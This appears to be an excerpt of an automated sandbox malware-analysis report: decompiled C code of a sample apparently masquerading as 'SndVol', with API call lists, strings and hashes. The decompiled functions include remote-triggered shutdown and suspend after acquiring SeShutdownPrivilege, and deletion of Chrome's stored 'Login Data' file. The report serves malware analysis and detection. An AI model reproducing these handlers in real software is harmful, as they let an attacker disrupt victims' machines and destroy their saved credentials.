                                    • LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 004141B8
                                    • GetProcAddress.KERNEL32(00000000), ref: 004141BF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressCloseCreateLibraryLoadProcsend
                                    • String ID: SHDeleteKeyW$Shlwapi.dll
                                    • API String ID: 2127411465-314212984
                                    • Opcode ID: cc4d4c5b6ea980ba016877b55f4c4df95b1351d3db9d23eee1275f2ee0bd2c39
                                    • Instruction ID: 318f2930f6d0ec6b2d79fd78f0c1a77bd4dc81f245c2e834a9d66fa9cf873b62
                                    • Opcode Fuzzy Hash: cc4d4c5b6ea980ba016877b55f4c4df95b1351d3db9d23eee1275f2ee0bd2c39
                                    • Instruction Fuzzy Hash: 27B10572A0430066C614BB76DC579EF36A86FD1748F40053FF902B71E2EE7C9A48869E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00449060 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 76%
                                    			E00449060(void* __ebx, void* __edi, signed int __esi, void* __eflags, signed int _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				int _v20;
				int _v24;
				char _v52;
				int _v56;
				int _v60;
				signed int _v100;
				char _v272;
				intOrPtr _v276;
				char _v280;
				char _v356;
				char _v360;
				void* __ebp;
				signed int _t65;
				signed int _t72;
				signed int _t74;
				signed int _t78;
				signed int _t85;
				signed int _t89;
				signed int _t91;
				long _t93;
				signed int* _t96;
				signed int _t99;
				signed int _t102;
				signed int _t106;
				void* _t113;
				signed int _t116;
				void* _t117;
				void* _t119;
				void* _t120;
				void* _t122;
				signed int _t124;
				signed int _t125;
				signed int* _t128;
				signed int _t129;
				void* _t132;
				void* _t134;
				signed int _t135;
				signed int _t137;
				void* _t140;
				intOrPtr _t141;
				void* _t143;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t158;
				signed int _t161;
				intOrPtr* _t166;
				signed int _t167;
				intOrPtr* _t168;
				void* _t169;
				intOrPtr _t170;
				void* _t171;
				signed int _t172;
				int _t176;
				signed int _t178;
				char** _t179;
				signed int _t183;
				signed int _t184;
				void* _t191;
				signed int _t192;
				void* _t193;
				signed int _t194;

				_t178 = __esi;
				_t171 = __edi;
				_t65 = E00448C9F();
				_v8 = _v8 & 0x00000000;
				_t137 = _t65;
				_v16 = _v16 & 0x00000000;
				_v12 = _t137;
				if(E00448CFD( &_v8) != 0 || E00448CA5( &_v16) != 0) {
					L46:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0043BC69();
					asm("int3");
					_t191 = _t193;
					_t194 = _t193 - 0x10;
					_push(_t137);
					_t179 = E00448C9F();
					_v52 = 0;
					_v56 = 0;
					_v60 = 0;
					_t72 = E00448CFD( &_v52);
					_t143 = _t178;
					__eflags = _t72;
					if(_t72 != 0) {
						L66:
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						E0043BC69();
						asm("int3");
						_push(_t191);
						_t192 = _t194;
						_t74 =  *0x47100c; // 0xbb2d687
						_v100 = _t74 ^ _t192;
						 *0x471344 =  *0x471344 | 0xffffffff;
						 *0x471338 =  *0x471338 | 0xffffffff;
						_push(0);
						_push(_t179);
						_push(_t171);
						_t139 = "TZ";
						_t172 = 0;
						 *0x472758 = 0;
						_t78 = E0043C035(__eflags,  &_v360,  &_v356, 0x100, "TZ");
						__eflags = _t78;
						if(_t78 != 0) {
							__eflags = _t78 - 0x22;
							if(_t78 == 0x22) {
								_t184 = E00446087(_t143, _v276);
								__eflags = _t184;
								if(__eflags != 0) {
									_t85 = E0043C035(__eflags,  &_v280, _t184, _v276, _t139);
									__eflags = _t85;
									if(_t85 == 0) {
										E00446652(0);
										_t172 = _t184;
									} else {
										_push(_t184);
										goto L72;
									}
								} else {
									_push(0);
									L72:
									E00446652();
								}
							}
						} else {
							_t172 =  &_v272;
						}
						asm("sbb esi, esi");
						_t183 =  ~(_t172 -  &_v272) & _t172;
						__eflags = _t172;
						if(_t172 == 0) {
							L80:
							L47();
						} else {
							__eflags =  *_t172;
							if(__eflags == 0) {
								goto L80;
							} else {
								_push(_t172);
								E00449060(_t139, _t172, _t183, __eflags);
							}
						}
						E00446652(_t183);
						__eflags = _v16 ^ _t192;
						return E00434F3B(_v16 ^ _t192);
					} else {
						_t89 = E00448CA5( &_v16);
						_pop(_t143);
						__eflags = _t89;
						if(_t89 != 0) {
							goto L66;
						} else {
							_t91 = E00448CD1( &_v20);
							_pop(_t143);
							__eflags = _t91;
							if(_t91 != 0) {
								goto L66;
							} else {
								E00446652( *0x472750);
								 *0x472750 = 0;
								 *_t194 = 0x472760;
								_t93 = GetTimeZoneInformation(??);
								__eflags = _t93 - 0xffffffff;
								if(_t93 != 0xffffffff) {
									_t150 =  *0x472760 * 0x3c;
									_t167 =  *0x4727b4; // 0x0
									_push(_t171);
									 *0x472758 = 1;
									_v12 = _t150;
									__eflags =  *0x4727a6; // 0x0
									if(__eflags != 0) {
										_t151 = _t150 + _t167 * 0x3c;
										__eflags = _t151;
										_v12 = _t151;
									}
									__eflags =  *0x4727fa; // 0x0
									if(__eflags == 0) {
										L56:
										_v16 = 0;
										_v20 = 0;
									} else {
										_t106 =  *0x472808; // 0x0
										__eflags = _t106;
										if(_t106 == 0) {
											goto L56;
										} else {
											_v16 = 1;
											_v20 = (_t106 - _t167) * 0x3c;
										}
									}
									_t176 = E00445C56(0, _t167);
									_t99 = WideCharToMultiByte(_t176, 0, 0x472764, 0xffffffff,  *_t179, 0x3f, 0,  &_v24);
									__eflags = _t99;
									if(_t99 == 0) {
										L60:
										 *( *_t179) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L60;
										} else {
											( *_t179)[0x3f] = 0;
										}
									}
									_t102 = WideCharToMultiByte(_t176, 0, 0x4727b8, 0xffffffff, _t179[1], 0x3f, 0,  &_v24);
									__eflags = _t102;
									if(_t102 == 0) {
										L64:
										 *(_t179[1]) = 0;
									} else {
										__eflags = _v24;
										if(_v24 != 0) {
											goto L64;
										} else {
											_t179[1][0x3f] = 0;
										}
									}
								}
								 *(E00448C99()) = _v12;
								 *((intOrPtr*)(E00448C8D())) = _v16;
								_t96 = E00448C93();
								 *_t96 = _v20;
								return _t96;
							}
						}
					}
				} else {
					_t168 =  *0x472750; // 0x0
					_t178 = _a4;
					if(_t168 == 0) {
						L12:
						E00446652(_t168);
						_t154 = _t178;
						_t12 = _t154 + 1; // 0x449451
						_t169 = _t12;
						do {
							_t113 =  *_t154;
							_t154 = _t154 + 1;
						} while (_t113 != 0);
						_t13 = _t154 - _t169 + 1; // 0x449452
						 *0x472750 = E00446087(_t154 - _t169, _t13);
						_t116 = E00446652(0);
						_t170 =  *0x472750; // 0x0
						if(_t170 == 0) {
							goto L45;
						} else {
							_t158 = _t178;
							_push(_t171);
							_t14 = _t158 + 1; // 0x449451
							_t171 = _t14;
							do {
								_t117 =  *_t158;
								_t158 = _t158 + 1;
							} while (_t117 != 0);
							_t15 = _t158 - _t171 + 1; // 0x449452
							_t119 = E0044198E(_t170, _t15, _t178);
							_t193 = _t193 + 0xc;
							if(_t119 == 0) {
								_t171 = 3;
								_push(_t171);
								_t120 = E00441983(_t159,  *_t137, 0x40, _t178);
								_t193 = _t193 + 0x10;
								if(_t120 == 0) {
									while( *_t178 != 0) {
										_t178 = _t178 + 1;
										_t171 = _t171 - 1;
										if(_t171 != 0) {
											continue;
										}
										break;
									}
									_pop(_t171);
									_t137 = _t137 & 0xffffff00 |  *_t178 == 0x0000002d;
									if(_t137 != 0) {
										_t178 = _t178 + 1;
									}
									_t161 = E0043B9FC(_t159, _t178) * 0xe10;
									_v8 = _t161;
									while(1) {
										_t122 =  *_t178;
										if(_t122 != 0x2b && (_t122 < 0x30 || _t122 > 0x39)) {
											break;
										}
										_t178 = _t178 + 1;
									}
									__eflags =  *_t178 - 0x3a;
									if( *_t178 == 0x3a) {
										_t178 = _t178 + 1;
										_t161 = _v8 + E0043B9FC(_t161, _t178) * 0x3c;
										_v8 = _t161;
										while(1) {
											_t132 =  *_t178;
											__eflags = _t132 - 0x30;
											if(_t132 < 0x30) {
												break;
											}
											__eflags = _t132 - 0x39;
											if(_t132 <= 0x39) {
												_t178 = _t178 + 1;
												__eflags = _t178;
												continue;
											}
											break;
										}
										__eflags =  *_t178 - 0x3a;
										if( *_t178 == 0x3a) {
											_t178 = _t178 + 1;
											_t161 = _v8 + E0043B9FC(_t161, _t178);
											_v8 = _t161;
											while(1) {
												_t134 =  *_t178;
												__eflags = _t134 - 0x30;
												if(_t134 < 0x30) {
													goto L38;
												}
												__eflags = _t134 - 0x39;
												if(_t134 <= 0x39) {
													_t178 = _t178 + 1;
													__eflags = _t178;
													continue;
												}
												goto L38;
											}
										}
									}
									L38:
									__eflags = _t137;
									if(_t137 != 0) {
										_v8 = _t161;
									}
									__eflags =  *_t178;
									_t124 = 0 |  *_t178 != 0x00000000;
									_v16 = _t124;
									__eflags = _t124;
									_t125 = _v12;
									if(_t124 == 0) {
										_t29 = _t125 + 4; // 0xfffffddd
										 *((char*)( *_t29)) = 0;
										L44:
										 *(E00448C99()) = _v8;
										_t128 = E00448C8D();
										 *_t128 = _v16;
										return _t128;
									}
									_push(3);
									_t28 = _t125 + 4; // 0xfffffddd
									_t129 = E00441983(_t161,  *_t28, 0x40, _t178);
									_t193 = _t193 + 0x10;
									__eflags = _t129;
									if(_t129 == 0) {
										goto L44;
									}
								}
							}
							goto L46;
						}
					} else {
						_t166 = _t168;
						_t135 = _t178;
						while(1) {
							_t140 =  *_t135;
							if(_t140 !=  *_t166) {
								break;
							}
							if(_t140 == 0) {
								L8:
								_t116 = 0;
							} else {
								_t9 = _t135 + 1; // 0xdde805eb
								_t141 =  *_t9;
								if(_t141 !=  *((intOrPtr*)(_t166 + 1))) {
									break;
								} else {
									_t135 = _t135 + 2;
									_t166 = _t166 + 2;
									if(_t141 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							if(_t116 == 0) {
								L45:
								return _t116;
							} else {
								_t137 = _v12;
								goto L12;
							}
							goto L82;
						}
						asm("sbb eax, eax");
						_t116 = _t135 | 0x00000001;
						__eflags = _t116;
						goto L10;
					}
				}
				L82:
			}




































































                                    0x00449060
                                    0x00449060
                                    0x0044906a
                                    0x0044906f
                                    0x00449073
                                    0x00449075
                                    0x0044907d
                                    0x00449088
                                    0x00449228
                                    0x0044922a
                                    0x0044922b
                                    0x0044922c
                                    0x0044922d
                                    0x0044922e
                                    0x0044922f
                                    0x00449234
                                    0x00449238
                                    0x0044923a
                                    0x0044923d
                                    0x00449244
                                    0x0044924b
                                    0x0044924f
                                    0x00449252
                                    0x00449255
                                    0x0044925a
                                    0x0044925b
                                    0x0044925d
                                    0x00449385
                                    0x00449385
                                    0x00449386
                                    0x00449387
                                    0x00449388
                                    0x00449389
                                    0x0044938a
                                    0x0044938f
                                    0x00449392
                                    0x00449393
                                    0x0044939b
                                    0x004493a2
                                    0x004493a5
                                    0x004493b2
                                    0x004493b9
                                    0x004493ba
                                    0x004493bb
                                    0x004493bc
                                    0x004493c1
                                    0x004493d0
                                    0x004493d7
                                    0x004493df
                                    0x004493e1
                                    0x004493eb
                                    0x004493ee
                                    0x004493fb
                                    0x004493fe
                                    0x00449400
                                    0x00449419
                                    0x00449421
                                    0x00449423
                                    0x00449429
                                    0x0044942e
                                    0x00449425
                                    0x00449425
                                    0x00000000
                                    0x00449425
                                    0x00449402
                                    0x00449402
                                    0x00449403
                                    0x00449403
                                    0x00449403
                                    0x00449430
                                    0x004493e3
                                    0x004493e3
                                    0x004493e3
                                    0x0044943d
                                    0x0044943f
                                    0x00449441
                                    0x00449443
                                    0x00449453
                                    0x00449453
                                    0x00449445
                                    0x00449445
                                    0x00449448
                                    0x00000000
                                    0x0044944a
                                    0x0044944a
                                    0x0044944b
                                    0x00449450
                                    0x00449448
                                    0x00449459
                                    0x00449464
                                    0x0044946f
                                    0x00449263
                                    0x00449267
                                    0x0044926c
                                    0x0044926d
                                    0x0044926f
                                    0x00000000
                                    0x00449275
                                    0x00449279
                                    0x0044927e
                                    0x0044927f
                                    0x00449281
                                    0x00000000
                                    0x00449287
                                    0x0044928d
                                    0x00449292
                                    0x00449298
                                    0x0044929f
                                    0x004492a5
                                    0x004492a8
                                    0x004492ae
                                    0x004492b5
                                    0x004492bb
                                    0x004492bf
                                    0x004492c5
                                    0x004492c8
                                    0x004492cf
                                    0x004492d4
                                    0x004492d4
                                    0x004492d6
                                    0x004492d6
                                    0x004492d9
                                    0x004492e0
                                    0x004492f8
                                    0x004492f8
                                    0x004492fb
                                    0x004492e2
                                    0x004492e2
                                    0x004492e7
                                    0x004492e9
                                    0x00000000
                                    0x004492eb
                                    0x004492ed
                                    0x004492f3
                                    0x004492f3
                                    0x004492e9
                                    0x00449303
                                    0x00449317
                                    0x0044931d
                                    0x0044931f
                                    0x0044932d
                                    0x0044932f
                                    0x00449321
                                    0x00449321
                                    0x00449324
                                    0x00000000
                                    0x00449326
                                    0x00449328
                                    0x00449328
                                    0x00449324
                                    0x00449344
                                    0x0044934b
                                    0x0044934d
                                    0x0044935c
                                    0x0044935f
                                    0x0044934f
                                    0x0044934f
                                    0x00449352
                                    0x00000000
                                    0x00449354
                                    0x00449357
                                    0x00449357
                                    0x00449352
                                    0x0044934d
                                    0x00449369
                                    0x00449373
                                    0x00449378
                                    0x0044937d
                                    0x00449384
                                    0x00449384
                                    0x00449281
                                    0x0044926f
                                    0x004490a0
                                    0x004490a0
                                    0x004490a6
                                    0x004490ab
                                    0x004490e1
                                    0x004490e2
                                    0x004490e8
                                    0x004490ea
                                    0x004490ea
                                    0x004490ed
                                    0x004490ed
                                    0x004490ef
                                    0x004490f0
                                    0x004490f6
                                    0x00449101
                                    0x00449106
                                    0x0044910b
                                    0x00449115
                                    0x00000000
                                    0x0044911b
                                    0x0044911b
                                    0x0044911d
                                    0x0044911e
                                    0x0044911e
                                    0x00449121
                                    0x00449121
                                    0x00449123
                                    0x00449124
                                    0x0044912b
                                    0x00449130
                                    0x00449135
                                    0x0044913a
                                    0x00449142
                                    0x00449143
                                    0x00449149
                                    0x0044914e
                                    0x00449153
                                    0x00449159
                                    0x0044915e
                                    0x0044915f
                                    0x00449162
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00449162
                                    0x00449167
                                    0x00449168
                                    0x0044916d
                                    0x0044916f
                                    0x0044916f
                                    0x00449177
                                    0x0044917d
                                    0x00449180
                                    0x00449180
                                    0x00449184
                                    0x00000000
                                    0x00000000
                                    0x0044918e
                                    0x0044918e
                                    0x00449191
                                    0x00449194
                                    0x00449196
                                    0x004491a4
                                    0x004491a6
                                    0x004491b0
                                    0x004491b0
                                    0x004491b2
                                    0x004491b4
                                    0x00000000
                                    0x00000000
                                    0x004491ab
                                    0x004491ad
                                    0x004491af
                                    0x004491af
                                    0x00000000
                                    0x004491af
                                    0x00000000
                                    0x004491ad
                                    0x004491b6
                                    0x004491b9
                                    0x004491bb
                                    0x004491c6
                                    0x004491c8
                                    0x004491d2
                                    0x004491d2
                                    0x004491d4
                                    0x004491d6
                                    0x00000000
                                    0x00000000
                                    0x004491cd
                                    0x004491cf
                                    0x004491d1
                                    0x004491d1
                                    0x00000000
                                    0x004491d1
                                    0x00000000
                                    0x004491cf
                                    0x004491d2
                                    0x004491b9
                                    0x004491d8
                                    0x004491d8
                                    0x004491da
                                    0x004491de
                                    0x004491de
                                    0x004491e3
                                    0x004491e5
                                    0x004491e8
                                    0x004491eb
                                    0x004491ed
                                    0x004491f0
                                    0x00449208
                                    0x0044920b
                                    0x0044920e
                                    0x00449216
                                    0x0044921b
                                    0x00449220
                                    0x00000000
                                    0x00449220
                                    0x004491f2
                                    0x004491f7
                                    0x004491fa
                                    0x004491ff
                                    0x00449202
                                    0x00449204
                                    0x00000000
                                    0x00000000
                                    0x00449206
                                    0x00449153
                                    0x00000000
                                    0x0044913a
                                    0x004490ad
                                    0x004490ad
                                    0x004490af
                                    0x004490b1
                                    0x004490b1
                                    0x004490b5
                                    0x00000000
                                    0x00000000
                                    0x004490b9
                                    0x004490cd
                                    0x004490cd
                                    0x004490bb
                                    0x004490bb
                                    0x004490bb
                                    0x004490c1
                                    0x00000000
                                    0x004490c3
                                    0x004490c3
                                    0x004490c6
                                    0x004490cb
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004490cb
                                    0x004490c1
                                    0x004490d6
                                    0x004490d8
                                    0x00449227
                                    0x00449227
                                    0x004490de
                                    0x004490de
                                    0x00000000
                                    0x004490de
                                    0x00000000
                                    0x004490d8
                                    0x004490d1
                                    0x004490d3
                                    0x004490d3
                                    0x00000000
                                    0x004490d3
                                    0x004490ab
                                    0x00000000

                                    APIs
                                    • _free.LIBCMT ref: 004490E2
                                    • _free.LIBCMT ref: 00449106
                                    • _free.LIBCMT ref: 0044928D
                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 0044929F
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449317
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449344
                                    • _free.LIBCMT ref: 00449459
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                    • String ID:
                                    • API String ID: 314583886-0
                                    • Opcode ID: 208acea0f672a3c64314377916ef4420bb89b98b501c2c807005a79e992500a5
                                    • Instruction ID: 8d2ba4c93746ee91bd2fed6f72e52227d5996494048dfea1b92bdb5ab37a597a
                                    • Opcode Fuzzy Hash: 208acea0f672a3c64314377916ef4420bb89b98b501c2c807005a79e992500a5
                                    • Instruction Fuzzy Hash: 05C15871900205ABFB249F69DD41AAFBBB8EF45310F1845AFE88497291EB388D41E758
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00416702 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 97libraryloadershutdownCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 64%
                                    			E00416702(void* __edx, void* __ebp, void* __eflags, char _a12, char _a16, void* _a152, void* _a248) {
				void* _t12;
				int _t14;
				int _t20;
				int _t22;
				int _t31;
				intOrPtr* _t64;
				void* _t69;

				_t69 = __eflags;
				E004178A4();
				E00401E65( &_a16, __edx, __ebp, _t69, 0);
				_t12 = E00405B05("0");
				_push(0);
				_t70 = _t12;
				if(_t12 == 0) {
					E00401E65( &_a12, "0", __ebp, __eflags);
					_t14 = E00405B05("1");
					_push(0);
					__eflags = _t14;
					if(__eflags == 0) {
						E00401E65( &_a12, "1", __ebp, __eflags);
						__eflags = E00405B05("2");
						if(__eflags == 0) {
							_t64 = GetProcAddress(LoadLibraryA("PowrProf.dll"), "SetSuspendState");
							E00401E65( &_a16, "2", __ebp, __eflags, 0);
							_t62 = "3";
							_t20 = E00405B05("3");
							_push(0);
							__eflags = _t20;
							if(__eflags == 0) {
								E00401E65( &_a16, "3", __ebp, __eflags);
								_t62 = "4";
								_t22 = E00405B05("4");
								__eflags = _t22;
								if(_t22 != 0) {
									_push(0);
									_push(0);
									_push(1);
									goto L11;
								}
							} else {
								_push(0);
								_push(0);
								L11:
								 *_t64();
							}
						} else {
							_push(0);
							_t31 = E0043B9FC(_t28, E00401FAB(E00401E65( &_a16, "2", __ebp, __eflags, 1))) | 0x00000002;
							__eflags = _t31;
							goto L6;
						}
					} else {
						_t31 = E0043B9FC(_t33, E00401FAB(E00401E65( &_a12, "1", __ebp, __eflags, 1))) | 0x00000001;
						goto L6;
					}
				} else {
					_t31 = E0043B9FC(_t36, E00401FAB(E00401E65( &_a12, "0", __ebp, _t70, 1)));
					L6:
					ExitWindowsEx(_t31, ??);
				}
				_t7 =  &_a16; // 0x404421
				E00401E8D(_t7, _t62);
				E00401FD8();
				E00401FD8();
				return 0;
			}










                                    0x00416702
                                    0x00416702
                                    0x0041670e
                                    0x0041671a
                                    0x00416723
                                    0x00416724
                                    0x00416726
                                    0x0041673e
                                    0x0041674a
                                    0x00416753
                                    0x00416754
                                    0x00416756
                                    0x00416771
                                    0x00416782
                                    0x00416784
                                    0x004167cb
                                    0x004167cd
                                    0x004167d2
                                    0x004167d9
                                    0x004167de
                                    0x004167df
                                    0x004167e1
                                    0x004167eb
                                    0x004167f0
                                    0x004167f7
                                    0x004167fc
                                    0x004167fe
                                    0x00416804
                                    0x00416805
                                    0x00416806
                                    0x00000000
                                    0x00416806
                                    0x004167e3
                                    0x004167e3
                                    0x004167e4
                                    0x00416808
                                    0x00416808
                                    0x00416808
                                    0x00416786
                                    0x00416786
                                    0x0041679f
                                    0x0041679f
                                    0x00000000
                                    0x0041679f
                                    0x00416758
                                    0x0041676c
                                    0x00000000
                                    0x0041676c
                                    0x00416728
                                    0x00416737
                                    0x004167a2
                                    0x004167a4
                                    0x004167a4
                                    0x00416fda
                                    0x00416fde
                                    0x00416fea
                                    0x00416ff6
                                    0x00417003

                                    APIs
                                      • Part of subcall function 004178A4: GetCurrentProcess.KERNEL32(00000028,?), ref: 004178B1
                                      • Part of subcall function 004178A4: OpenProcessToken.ADVAPI32(00000000), ref: 004178B8
                                      • Part of subcall function 004178A4: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004178CA
                                      • Part of subcall function 004178A4: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004178E9
                                      • Part of subcall function 004178A4: GetLastError.KERNEL32 ref: 004178EF
                                    • ExitWindowsEx.USER32 ref: 004167A4
                                    • LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 004167B9
                                    • GetProcAddress.KERNEL32(00000000), ref: 004167C0
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ProcessToken$AddressAdjustCurrentErrorExitLastLibraryLoadLookupOpenPrivilegePrivilegesProcValueWindows
                                    • String ID: !D@$PowrProf.dll$SetSuspendState
                                    • API String ID: 1589313981-2876530381
                                    • Opcode ID: 2d826210b0c9daf45d6a3ae1e0714a9015b64b4ca0627c8d85557761ede51777
                                    • Instruction ID: 5799fe8b44f83fbe8c98d75b7edd5e950bff89e0cea4a35e9cf146694cdf5c51
                                    • Opcode Fuzzy Hash: 2d826210b0c9daf45d6a3ae1e0714a9015b64b4ca0627c8d85557761ede51777
                                    • Instruction Fuzzy Hash: 5F216F7060430156CE14FBB2C896ABE72599F41789F45483FB542A72D2EF3CD849CB6E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040B960 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 82%
                                    			E0040B960(void* __edx, void* __edi, void* __eflags) {
				char _v28;
				char _v52;
				void* __ebx;
				void* __ebp;
				long _t18;
				void* _t20;
				void* _t21;
				void* _t28;
				void* _t32;
				void* _t33;
				void* _t34;

				_t37 = __eflags;
				_t32 = __edi;
				_t31 = E00402093(_t20,  &_v52, __edx, _t33, E0043C02A(_t20, __eflags, "UserProfile"));
				E00406383(_t20,  &_v28, _t7, _t32, _t33, _t37, "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
				E00401FD8();
				if(DeleteFileA(E00401FAB( &_v28)) != 0) {
					_t28 = _t34 - 0x18;
					_push("\n[Chrome StoredLogins found, cleared!]");
					goto L6;
				} else {
					_t18 = GetLastError();
					if(_t18 == 0 || _t18 == 1) {
						_t28 = _t34 - 0x18;
						_push("\n[Chrome StoredLogins not found]");
						L6:
						E00402093(_t20, _t28, _t31, _t33);
						E0040C126(_t20, _t31, _t33, __eflags);
						_t21 = 1;
					} else {
						_t21 = 0;
					}
				}
				E00401FD8();
				return _t21;
			}














                                    0x0040b960
                                    0x0040b960
                                    0x0040b980
                                    0x0040b985
                                    0x0040b98e
                                    0x0040b9a4
                                    0x0040b9ca
                                    0x0040b9cc
                                    0x00000000
                                    0x0040b9a6
                                    0x0040b9ad
                                    0x0040b9b0
                                    0x0040b9be
                                    0x0040b9c0
                                    0x0040b9d1
                                    0x0040b9d1
                                    0x0040b9d6
                                    0x0040b9db
                                    0x0040b9b7
                                    0x0040b9b7
                                    0x0040b9b7
                                    0x0040b9b0
                                    0x0040b9e3
                                    0x0040b9ee

                                    APIs
                                    • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 0040B99C
                                    • GetLastError.KERNEL32 ref: 0040B9A6
                                    Strings
                                    • [Chrome StoredLogins not found], xrefs: 0040B9C0
                                    • \AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 0040B967
                                    • [Chrome StoredLogins found, cleared!], xrefs: 0040B9CC
                                    • UserProfile, xrefs: 0040B96C
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: DeleteErrorFileLast
                                    • String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                    • API String ID: 2018770650-1062637481
                                    • Opcode ID: b3e280855d9617cda39c0cd17df4ccde3f890a0285620cfb04c9466335a92daf
                                    • Instruction ID: 7ee1c785108bd5a235da8a8e7257da4f28d5b008082fc54097424dcd28640db6
                                    • Opcode Fuzzy Hash: b3e280855d9617cda39c0cd17df4ccde3f890a0285620cfb04c9466335a92daf
                                    • Instruction Fuzzy Hash: 90018FB1A401056ACA0477B6DD5B9BE7728E911704F50027BF902722E2FE7D49098ADE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004178A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E004178A4() {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;

				OpenProcessToken(GetCurrentProcess(), 0x28,  &_v8);
				LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
				_v24.PrivilegeCount = 1;
				_v12 = 2;
				AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0);
				return GetLastError() & 0xffffff00 | _t16 != 0x00000000;
			}






                                    0x004178b8
                                    0x004178ca
                                    0x004178d6
                                    0x004178e2
                                    0x004178e9
                                    0x004178fe

                                    APIs
                                    • GetCurrentProcess.KERNEL32(00000028,?), ref: 004178B1
                                    • OpenProcessToken.ADVAPI32(00000000), ref: 004178B8
                                    • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004178CA
                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 004178E9
                                    • GetLastError.KERNEL32 ref: 004178EF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                    • String ID: SeShutdownPrivilege
                                    • API String ID: 3534403312-3733053543
                                    • Opcode ID: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                    • Instruction ID: b599e5caaba2c857c5a7044ea86e3d1b9a306509f9612008a7a3a71442eb1233
                                    • Opcode Fuzzy Hash: 57e92913f0a9f4d9b3a8183d8d88438ae359a92b07d5b7f7122e8f665953110d
                                    • Instruction Fuzzy Hash: 1EF03AB1801229FBDB109BA0EC4DEEF7FBCEF05612F100461B809A1092D7388E04CAB5
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00409253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 80%
                                    			E00409253(signed int __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t101;
				intOrPtr* _t106;
				signed int _t116;
				void* _t128;
				void* _t149;
				void* _t152;
				signed int _t154;
				signed int _t167;
				signed int _t180;
				signed int _t182;
				void* _t265;
				void* _t267;
				void* _t273;
				void* _t275;
				intOrPtr _t276;
				void* _t277;
				void* _t280;

				_t182 = __ecx;
				E00457978(E00457D53, _t273);
				_t276 = _t275 - 0x300;
				_push(_t265);
				 *((intOrPtr*)(_t273 - 0x10)) = _t276;
				_t180 = _t182;
				 *(_t273 - 0x18) = _t180;
				E004020DF(_t180, _t273 - 0x9c);
